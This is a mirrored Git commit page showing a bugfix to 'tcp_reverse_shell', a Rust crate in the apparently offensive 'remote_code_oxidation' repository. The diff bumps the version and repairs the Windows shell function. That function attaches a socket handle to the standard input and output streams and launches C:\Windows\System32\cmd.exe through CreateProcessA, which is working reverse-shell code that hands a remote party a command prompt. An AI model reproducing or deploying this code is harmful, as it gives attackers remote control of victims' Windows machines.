mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
Bugfix (#18)
* bugfix on cmd process * version bump for bug * Update shields data via Github Action Co-authored-by: kmanc <kmanc@users.noreply.github.com>
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "tcp_reverse_shell",
|
||||
"message": "1.0.1",
|
||||
"message": "1.0.2",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.58"
|
||||
|
||||
@@ -80,23 +80,25 @@ pub fn shell(ip: &str, port: u16) {
|
||||
startup_info.hStdError = unsafe { *sock_handle };
|
||||
let lp_application_name: PSTR = unsafe { mem::zeroed() };
|
||||
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
|
||||
lp_command_line.0 = CString::new("cmd.exe").unwrap().into_raw() as *mut u8;
|
||||
lp_command_line.0 = CString::new("C:\\Windows\\System32\\cmd.exe").unwrap().into_raw() as *mut u8;
|
||||
let lp_process_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
|
||||
let lp_thread_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
|
||||
let dw_creation_flags: PROCESS_CREATION_FLAGS = unsafe { mem::zeroed() };
|
||||
let lp_environment: c_void = unsafe { mem::zeroed() };
|
||||
let lp_current_directory: PSTR = unsafe { mem::zeroed() };
|
||||
let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() };
|
||||
unsafe {
|
||||
let create_res = unsafe {
|
||||
CreateProcessA(lp_application_name,
|
||||
lp_command_line,
|
||||
&lp_process_attributes,
|
||||
&lp_thread_attributes,
|
||||
true,
|
||||
dw_creation_flags,
|
||||
&lp_environment,
|
||||
ptr::null(),
|
||||
lp_current_directory,
|
||||
&startup_info,
|
||||
&mut process_information);
|
||||
&mut process_information)
|
||||
};
|
||||
if !create_res.as_bool() {
|
||||
panic!("Could not start cmd.exe process");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user